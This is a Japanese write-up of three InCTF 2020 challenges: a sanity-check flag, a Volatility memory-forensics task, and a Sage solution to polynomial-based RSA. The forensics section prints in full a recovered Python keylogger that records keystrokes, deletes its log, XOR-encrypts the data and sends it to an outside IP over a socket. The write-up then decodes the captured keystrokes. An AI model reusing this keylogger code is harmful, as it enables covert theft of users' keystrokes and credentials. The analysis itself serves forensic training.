InCTF 2020 Writeup

この大会は2020/7/31 22:30(JST)~2020/8/2 22:30(JST)に開催されました。
今回もチームで参戦。結果は400点で557チーム中132位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (Misc)

freenodeで#bi0s-ctfチャネルに入る。

22:31 *topic : InCTF 2020 - Starts on 31st July 2020, 13:30 UTC. | Sanity check flag: inctf{welcome_to_inctf_2020_!!}
inctf{welcome_to_inctf_2020_!!}

LOGarithm (Forensics)

メモリフォレンジックの問題。

$ volatility -f Evidence.vmem imageinfo
Volatility Foundation Volatility Framework 2.6
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418
                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (C:\CTF\work\Evidence.vmem)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf80002c070a0L
          Number of Processors : 1
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff80002c08d00L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2020-06-02 10:40:46 UTC+0000
     Image local date and time : 2020-06-02 16:10:46 +0530

$ volatility -f Evidence.vmem --profile=Win7SP1x64 pstree
Volatility Foundation Volatility Framework 2.6
Name                                                  Pid   PPid   Thds   Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----
 0xfffffa8002d99b30:svchost.exe                       768    504      7    270 2020-06-02 10:36:15 UTC+0000
 0xfffffa80030b6500:dllhost.exe                      1796    504     17    198 2020-06-02 10:36:19 UTC+0000
 0xfffffa8002cef060:spoolsv.exe                      1160    504     13    264 2020-06-02 10:36:17 UTC+0000
 0xfffffa8002d42970:svchost.exe                       672    504     10    353 2020-06-02 10:36:15 UTC+0000
. 0xfffffa80030cbb30:WmiPrvSE.exe                    1764    672     10    202 2020-06-02 10:36:19 UTC+0000
. 0xfffffa8002b63500:WmiPrvSE.exe                    2280    672     11    292 2020-06-02 10:36:39 UTC+0000
 0xfffffa8002e7d350:vmtoolsd.exe                     1416    504     10    270 2020-06-02 10:36:18 UTC+0000
. 0xfffffa80021208d0:cmd.exe                         2556   1416      0 ------ 2020-06-02 10:40:46 UTC+0000
 0xfffffa8003214b30:svchost.exe                      2716    504     15    223 2020-06-02 10:36:55 UTC+0000
 0xfffffa80033e9060:SearchIndexer.                   2452    504     12    622 2020-06-02 10:36:45 UTC+0000
. 0xfffffa80038cd350:SearchProtocol                  2528   2452      8    282 2020-06-02 10:40:06 UTC+0000
. 0xfffffa800319fb30:SearchFilterHo                  3528   2452      6    101 2020-06-02 10:40:06 UTC+0000
 0xfffffa8002dccb30:svchost.exe                       816    504     21    475 2020-06-02 10:36:15 UTC+0000
. 0xfffffa8002eafb30:audiodg.exe                      288    816      7    131 2020-06-02 10:36:16 UTC+0000
 0xfffffa8002db9060:svchost.exe                      1204    504     20    307 2020-06-02 10:36:17 UTC+0000
 0xfffffa80031634a0:msdtc.exe                        1924    504     15    153 2020-06-02 10:36:19 UTC+0000
 0xfffffa8002e58b30:svchost.exe                       928    504     14    291 2020-06-02 10:36:16 UTC+0000
. 0xfffffa800328eb30:dwm.exe                          296    928      4     72 2020-06-02 10:36:38 UTC+0000
 0xfffffa80032943f0:sppsvc.exe                       3344    504      4    144 2020-06-02 10:38:19 UTC+0000
 0xfffffa8002e85b30:svchost.exe                       976    504     43    975 2020-06-02 10:36:16 UTC+0000
. 0xfffffa8002d3e060:taskeng.exe                     1172    976      5     79 2020-06-02 10:36:17 UTC+0000
 0xfffffa800335a060:WmiApSrv.exe                     3276    504      6    116 2020-06-02 10:38:44 UTC+0000
 0xfffffa8002ee1b30:svchost.exe                       344    504     24    659 2020-06-02 10:36:16 UTC+0000
. 0xfffffa80027e2060:wininit.exe                      412    344      3     74 2020-06-02 10:36:08 UTC+0000
.. 0xfffffa8002b51b30:lsm.exe                         528    412      9    144 2020-06-02 10:36:08 UTC+0000
.. 0xfffffa8002b60660:lsass.exe                       520    412      6    558 2020-06-02 10:36:08 UTC+0000
.. 0xfffffa8002b4a320:services.exe                    504    412     11    208 2020-06-02 10:36:08 UTC+0000
... 0xfffffa800327e060:taskhost.exe                  1372    504      9    146 2020-06-02 10:36:38 UTC+0000
... 0xfffffa8002d708e0:vmacthlp.exe                   736    504      4     53 2020-06-02 10:36:15 UTC+0000
... 0xfffffa8002dd4060:VGAuthService.                1380    504      4     84 2020-06-02 10:36:18 UTC+0000
... 0xfffffa8002cc2b30:svchost.exe                   1056    504     17    367 2020-06-02 10:36:17 UTC+0000
... 0xfffffa8002e14390:svchost.exe                   1500    504     13    337 2020-06-02 10:38:20 UTC+0000
. 0xfffffa80023eeb30:csrss.exe                        352    344      9    489 2020-06-02 10:36:08 UTC+0000
.. 0xfffffa8002fd1730:conhost.exe                    1288    352      0 ------ 2020-06-02 10:40:46 UTC+0000
 0xfffffa800327e060:taskhost.exe                     1372    504      9    146 2020-06-02 10:36:38 UTC+0000
WARNING : volatility.debug    : PID 1372 PPID 504 has already been seen
 0xfffffa8002d708e0:vmacthlp.exe                      736    504      4     53 2020-06-02 10:36:15 UTC+0000
WARNING : volatility.debug    : PID 736 PPID 504 has already been seen
 0xfffffa8002dd4060:VGAuthService.                   1380    504      4     84 2020-06-02 10:36:18 UTC+0000
WARNING : volatility.debug    : PID 1380 PPID 504 has already been seen
 0xfffffa8002cc2b30:svchost.exe                      1056    504     17    367 2020-06-02 10:36:17 UTC+0000
WARNING : volatility.debug    : PID 1056 PPID 504 has already been seen
 0xfffffa8002e14390:svchost.exe                      1500    504     13    337 2020-06-02 10:38:20 UTC+0000
WARNING : volatility.debug    : PID 1500 PPID 504 has already been seen
 0xfffffa8003011270:chrome.exe                       4032   2636     11    174 2020-06-02 10:37:31 UTC+0000
 0xfffffa8002fcb640:chrome.exe                       2648   2636      9     91 2020-06-02 10:36:55 UTC+0000
 0xfffffa8000e17b30:chrome.exe                       1284   2636      0 ------ 2020-06-02 10:38:55 UTC+0000
. 0xfffffa80032bc4a0:explorer.exe                    1100   1284     36    933 2020-06-02 10:36:38 UTC+0000
.. 0xfffffa80032feb30:vmtoolsd.exe                   2208   1100      8    182 2020-06-02 10:36:39 UTC+0000
.. 0xfffffa800347fb30:chrome.exe                     2636   1100     34    866 2020-06-02 10:36:55 UTC+0000
... 0xfffffa8002058930:chrome.exe                    3812   2636     13    188 2020-06-02 10:37:20 UTC+0000
... 0xfffffa8003141060:chrome.exe                    3124   2636     15    272 2020-06-02 10:37:08 UTC+0000
... 0xfffffa8000f52220:chrome.exe                    3480   2636     18    352 2020-06-02 10:37:14 UTC+0000
... 0xfffffa8000f8e3d0:chrome.exe                    3728   2636     17    306 2020-06-02 10:37:18 UTC+0000
... 0xfffffa8000de00f0:chrome.exe                    3424   2636      0 ------ 2020-06-02 10:37:13 UTC+0000
... 0xfffffa8003547060:chrome.exe                    2804   2636     10    235 2020-06-02 10:36:55 UTC+0000
... 0xfffffa8003549b30:chrome.exe                    2812   2636     16    324 2020-06-02 10:36:55 UTC+0000
.. 0xfffffa8000f48b30:cmd.exe                        3532   1100      1     19 2020-06-02 10:37:57 UTC+0000
.. 0xfffffa80030b0060:pythonw.exe                    2216   1100      3    163 2020-06-02 10:40:36 UTC+0000
 0xfffffa8002058930:chrome.exe                       3812   2636     13    188 2020-06-02 10:37:20 UTC+0000
WARNING : volatility.debug    : PID 3812 PPID 2636 has already been seen
 0xfffffa8003141060:chrome.exe                       3124   2636     15    272 2020-06-02 10:37:08 UTC+0000
WARNING : volatility.debug    : PID 3124 PPID 2636 has already been seen
 0xfffffa8000f52220:chrome.exe                       3480   2636     18    352 2020-06-02 10:37:14 UTC+0000
WARNING : volatility.debug    : PID 3480 PPID 2636 has already been seen
 0xfffffa8000f8e3d0:chrome.exe                       3728   2636     17    306 2020-06-02 10:37:18 UTC+0000
WARNING : volatility.debug    : PID 3728 PPID 2636 has already been seen
 0xfffffa8000de00f0:chrome.exe                       3424   2636      0 ------ 2020-06-02 10:37:13 UTC+0000
WARNING : volatility.debug    : PID 3424 PPID 2636 has already been seen
 0xfffffa8003547060:chrome.exe                       2804   2636     10    235 2020-06-02 10:36:55 UTC+0000
WARNING : volatility.debug    : PID 2804 PPID 2636 has already been seen
 0xfffffa8003549b30:chrome.exe                       2812   2636     16    324 2020-06-02 10:36:55 UTC+0000
WARNING : volatility.debug    : PID 2812 PPID 2636 has already been seen
 0xfffffa8000ca19e0:System                              4      0     96    621 2020-06-02 10:36:06 UTC+0000
. 0xfffffa8001c31310:smss.exe                         264      4      2     29 2020-06-02 10:36:06 UTC+0000
 0xfffffa8002808850:csrss.exe                         404    396     11    356 2020-06-02 10:36:08 UTC+0000
. 0xfffffa8000f2d060:conhost.exe                     3524    404      3     51 2020-06-02 10:37:57 UTC+0000
 0xfffffa8002b29810:winlogon.exe                      460    396      4    110 2020-06-02 10:36:08 UTC+0000
 0xfffffa8003479880:GoogleCrashHan                   2584   2128      6     90 2020-06-02 10:36:47 UTC+0000
 0xfffffa80033b9b30:GoogleCrashHan                   2576   2128      6    101 2020-06-02 10:36:47 UTC+0000

$ volatility -f Evidence.vmem --profile=Win7SP1x64 cmdline
Volatility Foundation Volatility Framework 2.6
************************************************************************
System pid:      4
************************************************************************
smss.exe pid:    264
Command line : \SystemRoot\System32\smss.exe
************************************************************************
csrss.exe pid:    352
Command line : %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
************************************************************************
csrss.exe pid:    404
Command line : %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
************************************************************************
        :
************************************************************************
SearchFilterHo pid:   3528
Command line : "C:\Windows\system32\SearchFilterHost.exe" 0 516 520 528 65536 524
************************************************************************
pythonw.exe pid:   2216
Command line : "C:\Python27\pythonw.exe" "C:\Python27\Lib\idlelib\idle.pyw" -e "C:\Users\Mike\Downloads\keylogger.py"
************************************************************************
cmd.exe pid:   2556
************************************************************************
conhost.exe pid:   1288

keylogger.pyを実行しているので、抽出してみる。

$ volatility -f Evidence.vmem --profile=Win7SP1x64 filescan | grep keylogger.py
Volatility Foundation Volatility Framework 2.6
0x000000003ee119b0     16      0 R--rwd \Device\HarddiskVolume1\Users\Mike\Downloads\keylogger.py

$ volatility -f Evidence.vmem --profile=Win7SP1x64 dumpfiles -D ./ -Q 0x000000003ee119b0
Volatility Foundation Volatility Framework 2.6
DataSectionObject 0x3ee119b0   None   \Device\HarddiskVolume1\Users\Mike\Downloads\keylogger.py

keylogger.pyの内容は以下のようになっている。

import socket, os
from pynput.keyboard import Key, Listener
import socket

import logging
list1 = []

def keylog():
    dir = r"C:\Users\Mike\Desktop\key.log"
    logging.basicConfig(filename=dir, level=logging.DEBUG,format='%(message)s')

    def on_press(key):
        a = str(key).replace("u'","").replace("'","")
        list1.append(a)

    def on_release(key):
        if str(key) == 'Key.esc':
            print "Data collection complete. Sending data to master"
            logging.info(' '.join(list1))
            logging.shutdown()
            master_encrypt()
        

    with Listener(
        on_press = on_press,
        on_release = on_release) as listener:
        listener.join()

def send_to_master(data):
    s = socket.socket()
    host = '18.140.60.203'
    port = 1337
    
    s.connect((host, port))
    key_log = data
    s.send(key_log)
    s.close()
    exit(1)

def master_encrypt():
    mkey = os.getenv('t3mp')
    f = open("C:/Users/Mike/Desktop/key.log","r")
    modified = ''.join(f.readlines()).replace("\n","")
    f.close()
    data = master_xor(mkey, modified).encode("base64")
    os.unlink("C:/Users/Mike/Desktop/key.log")
    send_to_master(data)

def master_xor(msg,mkey):
    l = len(mkey)
    xor_complete = ""

    for i in range(0, len(msg)):
        xor_complete += chr(ord(msg[i]) ^ ord(mkey[i % l]))
    
    return xor_complete

if __name__ == "__main__":
    keylog()

コードの概要は以下の通り。

・キーロガーで取得した情報をkey.logに保存。
・保存した情報をXORしてbase64エンコードして送っている。
・送信先は18.140.60.203、ポートは1337
・XOR鍵は環境変数t3mpから取得している。
$ volatility -f Evidence.vmem --profile=Win7SP1x64 envars | grep t3mp | grep python
Volatility Foundation Volatility Framework 2.6
    2216 pythonw.exe          0x0000000000304d50 t3mp                           UXpwY1VIbDBhRzl1TWpkY08wTTZYRkI1ZEdodmJqSTNYRk5qY21sd2RITTdRenBjVjJsdVpHOTNjMXh6ZVhOMFpXMHpNanRET2x4WAphVzVrYjNkek8wTTZYRmRwYm1SdmQzTmNVM2x6ZEdWdE16SmNWMkpsYlR0RE9seFhhVzVrYjNkelhGTjVjM1JsYlRNeVhGZHBibVJ2CmQzTlFiM2RsY2xOb1pXeHNYSFl4TGpCY08wTTZYRkJ5YjJkeVlXMGdSbWxzWlhNZ0tIZzROaWxjVG0xaGNDNURUMDA3TGtWWVJUc3UKUWtGVU95NURUVVE3TGxaQ1V6c3VWa0pGT3k1S1V6c3VTbE5GT3k1WFUwWTdMbGRUU0RzdVRWTkQK

No.1861のパケットにbase64文字列があるので、エクスポートし、復号してみる。

from base64 import b64decode

ct = '''
PXgRVzcRMWkNZGIccglMH3QwUAR5XxgQdDh6PHJFaVJ6KkQCRAVqGHMfKyB8GEUQOlcRF0RTcj90
MUR8RSUnE3gZOhIHM1A7bzFuCW0qSFN6IkgEKD9eKz0pEytBCHIpdFNYU3cKFRF4CSYTOg9uAkUF
GBR0IHo/ciY3DnceWToCGXEBdANuZW1EWAV6N0QcATwfRTsEKCNtNFA4PBV8QzosXwdFEkgadjEz
C3cZJgIDGEgSdBl2XW16Lwp3HzonAyJIGHoDJxBMJSJbJRlxKXQcZl1tX3I4PEtWPApYFixFF248
cw0JTXo0GCo/RBgodDl6bXJaan48E2QYDT8KLG0LRCBCHB0DeR8AJzxEVDR6MTc2TzILCT5nUVgP
ZylkIXVyIW03YR10IFQ4dzlqMkNfdS51eVQkdjoZWG49cjx2HSBKejQIADJUdlJDUnYhQVVQaXR4
Dkh9QiZXAFZ2J0IgFSR0QUtUdzJ1PDItSj4SJjEwdVZyFkQ3cjB0IDQy
'''
ct = b64decode(ct.replace('\n', ''))

key = 'UXpwY1VIbDBhRzl1TWpkY08wTTZYRkI1ZEdodmJqSTNYRk5qY21sd2RITTdRenBjVjJsdVpHOTNjMXh6ZVhOMFpXMHpNanRET2x4WAphVzVrYjNkek8wTTZYRmRwYm1SdmQzTmNVM2x6ZEdWdE16SmNWMkpsYlR0RE9seFhhVzVrYjNkelhGTjVjM1JsYlRNeVhGZHBibVJ2CmQzTlFiM2RsY2xOb1pXeHNYSFl4TGpCY08wTTZYRkJ5YjJkeVlXMGdSbWxzWlhNZ0tIZzROaWxjVG0xaGNDNURUMDA3TGtWWVJUc3UKUWtGVU95NURUVVE3TGxaQ1V6c3VWa0pGT3k1S1V6c3VTbE5GT3k1WFUwWTdMbGRUU0RzdVRWTkQK'

pt = ''
for i in range(len(ct)):
    code = ord(ct[i]) ^ ord(key[i%len(key)])
    pt += chr(code)
print pt

復号した結果は以下の通り。

h a n g o  t s . g o o g l e . c o m h i Key.space d a v e . Key.space s e c r e t Key.space f l a g Key.space i n c t f Key.shift { n 3 v 3 r Key.shift _ Key.shift T r Key.shift U s 7 Key.shift _ Key.shift S p 4 m Key.shift _ e Key.shift _ m 4 1 Key.shift L s Key.shift } Key.esch a n g o  t s . g o o g l e . c o m h i Key.space d a v e . Key.space s e c r e t Key.space f l a g Key
inctf{n3v3r_TrUs7_Sp4m_e_m41Ls}

PolyRSA (Crypto)

Polynomial based RSAの問題。nを因数分解して復号する。

#!/usr/bin/env sage
p = 2470567871

P = PolynomialRing(GF(p), 'x')
e = 65537
n = P('1932231392*x^255 + 1432733708*x^254 + 1270867914*x^253 + 1573324635*x^252 + 2378103997*x^251 + 820889786*x^250 + 762279735*x^249 + 1378353578*x^248 + 1226179520*x^247 + 657116276*x^246 + 1264717357*x^245 + 1015587392*x^244 + 849699356*x^243 + 1509168990*x^242 + 2407367106*x^241 + 873379233*x^240 + 2391647981*x^239 + 517715639*x^238 + 828941376*x^237 + 843708018*x^236 + 1526075137*x^235 + 1499291590*x^234 + 235611028*x^233 + 19615265*x^232 + 53338886*x^231 + 434434839*x^230 + 902171938*x^229 + 516444143*x^228 + 1984443642*x^227 + 966493372*x^226 + 1166227650*x^225 + 1824442929*x^224 + 930231465*x^223 + 1664522302*x^222 + 1067203343*x^221 + 28569139*x^220 + 2327926559*x^219 + 899788156*x^218 + 296985783*x^217 + 1144578716*x^216 + 340677494*x^215 + 254306901*x^214 + 766641243*x^213 + 1882320336*x^212 + 2139903463*x^211 + 1904225023*x^210 + 475412928*x^209 + 127723603*x^208 + 2015416361*x^207 + 1500078813*x^206 + 1845826007*x^205 + 797486240*x^204 + 85924125*x^203 + 1921772796*x^202 + 1322682658*x^201 + 2372929383*x^200 + 1323964787*x^199 + 1302258424*x^198 + 271875267*x^197 + 1297768962*x^196 + 2147341770*x^195 + 1665066191*x^194 + 2342921569*x^193 + 1450622685*x^192 + 1453466049*x^191 + 1105227173*x^190 + 2357717379*x^189 + 1044263540*x^188 + 697816284*x^187 + 647124526*x^186 + 1414769298*x^185 + 657373752*x^184 + 91863906*x^183 + 1095083181*x^182 + 658171402*x^181 + 75339882*x^180 + 2216678027*x^179 + 2208320155*x^178 + 1351845267*x^177 + 1740451894*x^176 + 1302531891*x^175 + 320751753*x^174 + 1303477598*x^173 + 783321123*x^172 + 1400145206*x^171 + 1379768234*x^170 + 1191445903*x^169 + 946530449*x^168 + 2008674144*x^167 + 2247371104*x^166 + 1267042416*x^165 + 1795774455*x^164 + 1976911493*x^163 + 167037165*x^162 + 1848717750*x^161 + 573072954*x^160 + 1126046031*x^159 + 376257986*x^158 + 1001726783*x^157 + 2250967824*x^156 + 2339380314*x^155 + 571922874*x^154 + 961000788*x^153 + 306686020*x^152 + 80717392*x^151 + 2454799241*x^150 + 1005427673*x^149 + 1032257735*x^148 + 593980163*x^147 + 1656568780*x^146 + 1865541316*x^145 + 2003844061*x^144 + 1265566902*x^143 + 573548790*x^142 + 494063408*x^141 + 1722266624*x^140 + 938551278*x^139 + 2284832499*x^138 + 597191613*x^137 + 476121126*x^136 + 1237943942*x^135 + 275861976*x^134 + 1603993606*x^133 + 1895285286*x^132 + 589034062*x^131 + 713986937*x^130 + 1206118526*x^129 + 311679750*x^128 + 1989860861*x^127 + 1551409650*x^126 + 2188452501*x^125 + 1175930901*x^124 + 1991529213*x^123 + 2019090583*x^122 + 215965300*x^121 + 532432639*x^120 + 1148806816*x^119 + 493362403*x^118 + 2166920790*x^117 + 185609624*x^116 + 184370704*x^115 + 2141702861*x^114 + 223551915*x^113 + 298497455*x^112 + 722376028*x^111 + 678813029*x^110 + 915121681*x^109 + 1107871854*x^108 + 1369194845*x^107 + 328165402*x^106 + 1792110161*x^105 + 798151427*x^104 + 954952187*x^103 + 471555401*x^102 + 68969853*x^101 + 453598910*x^100 + 2458706380*x^99 + 889221741*x^98 + 320515821*x^97 + 1549538476*x^96 + 909607400*x^95 + 499973742*x^94 + 552728308*x^93 + 1538610725*x^92 + 186272117*x^91 + 862153635*x^90 + 981463824*x^89 + 2400233482*x^88 + 1742475067*x^87 + 437801940*x^86 + 1504315277*x^85 + 1756497351*x^84 + 197089583*x^83 + 2082285292*x^82 + 109369793*x^81 + 2197572728*x^80 + 107235697*x^79 + 567322310*x^78 + 1755205142*x^77 + 1089091449*x^76 + 1993836978*x^75 + 2393709429*x^74 + 170647828*x^73 + 1205814501*x^72 + 2444570340*x^71 + 328372190*x^70 + 1929704306*x^69 + 717796715*x^68 + 1057597610*x^67 + 482243092*x^66 + 277530014*x^65 + 2393168828*x^64 + 12380707*x^63 + 1108646500*x^62 + 637721571*x^61 + 604983755*x^60 + 1142068056*x^59 + 1911643955*x^58 + 1713852330*x^57 + 1757273231*x^56 + 1778819295*x^55 + 957146826*x^54 + 900005615*x^53 + 521467961*x^52 + 1255707235*x^51 + 861871574*x^50 + 397953653*x^49 + 1259753202*x^48 + 471431762*x^47 + 1245956917*x^46 + 1688297180*x^45 + 1536178591*x^44 + 1833258462*x^43 + 1369087493*x^42 + 459426544*x^41 + 418389643*x^40 + 1800239647*x^39 + 2467433889*x^38 + 477713059*x^37 + 1898813986*x^36 + 2202042708*x^35 + 894088738*x^34 + 1204601190*x^33 + 1592921228*x^32 + 2234027582*x^31 + 1308900201*x^30 + 461430959*x^29 + 718926726*x^28 + 2081988029*x^27 + 1337342428*x^26 + 2039153142*x^25 + 1364177470*x^24 + 613659517*x^23 + 853968854*x^22 + 1013582418*x^21 + 1167857934*x^20 + 2014147362*x^19 + 1083466865*x^18 + 1091690302*x^17 + 302196939*x^16 + 1946675573*x^15 + 2450124113*x^14 + 1199066291*x^13 + 401889502*x^12 + 712045611*x^11 + 1850096904*x^10 + 1808400208*x^9 + 1567687877*x^8 + 2013445952*x^7 + 2435360770*x^6 + 2414019676*x^5 + 2277377050*x^4 + 2148341337*x^3 + 1073721716*x^2 + 1045363399*x + 1809685811')
c = P('1208612545*x^254 + 1003144104*x^253 + 1173365710*x^252 + 1528252326*x^251 + 2263767409*x^250 + 2030579621*x^249 + 820048372*x^248 + 1474305505*x^247 + 1313951805*x^246 + 191260021*x^245 + 687901467*x^244 + 231907128*x^243 + 1757265648*x^242 + 1536859261*x^241 + 97792274*x^240 + 86150615*x^239 + 2283802022*x^238 + 728791370*x^237 + 1402241073*x^236 + 2010876897*x^235 + 1112960608*x^234 + 1785301939*x^233 + 862124720*x^232 + 573190801*x^231 + 1353395115*x^230 + 1041912948*x^229 + 1592516519*x^228 + 2043096090*x^227 + 970437868*x^226 + 945296597*x^225 + 764979415*x^224 + 151795004*x^223 + 744776063*x^222 + 49064457*x^221 + 379720326*x^220 + 549708067*x^219 + 1278937325*x^218 + 1348751857*x^217 + 897039278*x^216 + 1738651055*x^215 + 1458044806*x^214 + 947593966*x^213 + 604294495*x^212 + 1101712128*x^211 + 1106608879*x^210 + 556697284*x^209 + 339078898*x^208 + 135886774*x^207 + 682237064*x^206 + 1298394254*x^205 + 2038363686*x^204 + 1138996508*x^203 + 321551693*x^202 + 1194023535*x^201 + 1627100598*x^200 + 581786959*x^199 + 209400153*x^198 + 1354413890*x^197 + 1689568849*x^196 + 1038349567*x^195 + 2129265853*x^194 + 96150366*x^193 + 1879712323*x^192 + 140146576*x^191 + 855348682*x^190 + 571231503*x^189 + 1759489757*x^188 + 1528175919*x^187 + 1420729777*x^186 + 1778060705*x^185 + 204520875*x^184 + 2409946047*x^183 + 1703900286*x^182 + 379350638*x^181 + 145936788*x^180 + 644037909*x^179 + 946490870*x^178 + 2143460817*x^177 + 2124654819*x^176 + 735909283*x^175 + 1956333192*x^174 + 69508572*x^173 + 1998473705*x^172 + 2219097711*x^171 + 2324764950*x^170 + 1295835297*x^169 + 475763021*x^168 + 124896627*x^167 + 392652227*x^166 + 2414019050*x^165 + 519556546*x^164 + 2379934828*x^163 + 74942046*x^162 + 2333943359*x^161 + 5807728*x^160 + 1572302913*x^159 + 933057583*x^158 + 2327572070*x^157 + 2174172163*x^156 + 326654947*x^155 + 2362777406*x^154 + 1571381551*x^153 + 818720017*x^152 + 564409161*x^151 + 784212625*x^150 + 2084631116*x^149 + 1709163682*x^148 + 1791572159*x^147 + 2362306858*x^146 + 1870950847*x^145 + 936293454*x^144 + 1992907305*x^143 + 2427866610*x^142 + 1377299939*x^141 + 2336147340*x^140 + 419537038*x^139 + 1775945090*x^138 + 1084486367*x^137 + 1628708302*x^136 + 624109245*x^135 + 1140675451*x^134 + 848915999*x^133 + 1380203834*x^132 + 103496883*x^131 + 81739774*x^130 + 2055692293*x^129 + 1586687843*x^128 + 1682316161*x^127 + 134734383*x^126 + 885001299*x^125 + 2466212723*x^124 + 137905246*x^123 + 2305925724*x^122 + 410043787*x^121 + 2154453335*x^120 + 2018367068*x^119 + 1967315089*x^118 + 220606010*x^117 + 1066579186*x^116 + 2022385524*x^115 + 1564928688*x^114 + 851080667*x^113 + 1683812556*x^112 + 672848621*x^111 + 646553151*x^110 + 1348955204*x^109 + 1543570099*x^108 + 2260622184*x^107 + 1111757240*x^106 + 1797688791*x^105 + 1307761272*x^104 + 179896670*x^103 + 1197947306*x^102 + 1792231092*x^101 + 1515817157*x^100 + 1510541452*x^99 + 1784535666*x^98 + 1755403646*x^97 + 2388416288*x^96 + 1913808879*x^95 + 2139772089*x^94 + 1373043969*x^93 + 900021127*x^92 + 1613888837*x^91 + 331160696*x^90 + 2404083812*x^89 + 448818904*x^88 + 592910594*x^87 + 2436296390*x^86 + 2103089380*x^85 + 2027661376*x^84 + 277165788*x^83 + 717390488*x^82 + 319876555*x^81 + 1394843317*x^80 + 2314542109*x^79 + 2295617403*x^78 + 313842193*x^77 + 1918458371*x^76 + 1189324530*x^75 + 1765150225*x^74 + 1107038066*x^73 + 613811679*x^72 + 578744934*x^71 + 538203467*x^70 + 1710976133*x^69 + 1681208001*x^68 + 462043988*x^67 + 299437516*x^66 + 1843758398*x^65 + 851754779*x^64 + 1850189150*x^63 + 710529550*x^62 + 922473306*x^61 + 2344816934*x^60 + 54182289*x^59 + 2394694981*x^58 + 1849818608*x^57 + 1926799414*x^56 + 950266030*x^55 + 1290713338*x^54 + 1851455277*x^53 + 1607851092*x^52 + 1587576465*x^51 + 2279226257*x^50 + 1637387507*x^49 + 779327218*x^48 + 919124653*x^47 + 1126060258*x^46 + 2304179492*x^45 + 77984480*x^44 + 966167063*x^43 + 402292668*x^42 + 1332816563*x^41 + 524746316*x^40 + 2427530022*x^39 + 677075099*x^38 + 755256194*x^37 + 2152433299*x^36 + 2197374397*x^35 + 2290208129*x^34 + 996810109*x^33 + 101994796*x^32 + 252415814*x^31 + 1964967972*x^30 + 1533782356*x^29 + 1034980624*x^28 + 816216163*x^27 + 1535614986*x^26 + 1835762944*x^25 + 1147606118*x^24 + 1189426347*x^23 + 33594119*x^22 + 2113251273*x^21 + 826059142*x^20 + 1074101610*x^19 + 1638140405*x^18 + 1633380033*x^17 + 2005588694*x^16 + 2087514746*x^15 + 768034353*x^14 + 104476320*x^13 + 483234608*x^12 + 2424146196*x^11 + 49841203*x^10 + 145673059*x^9 + 705090263*x^8 + 1832451737*x^7 + 2394175351*x^6 + 1966712784*x^5 + 276537935*x^4 + 499607533*x^3 + 1981107449*x^2 + 776654074*x + 886398299')

p1, p2 = n.factor()
p1, p2 = p1[0], p2[0]
phi = (p^p1.degree() - 1) * (p^p2.degree() - 1)
d = inverse_mod(e, phi)
m = pow(c, d, n)

flag = ''
for i in range(24):
    flag += chr(m[i])
print flag
inctf{and_i_4m_ir0n_m4n}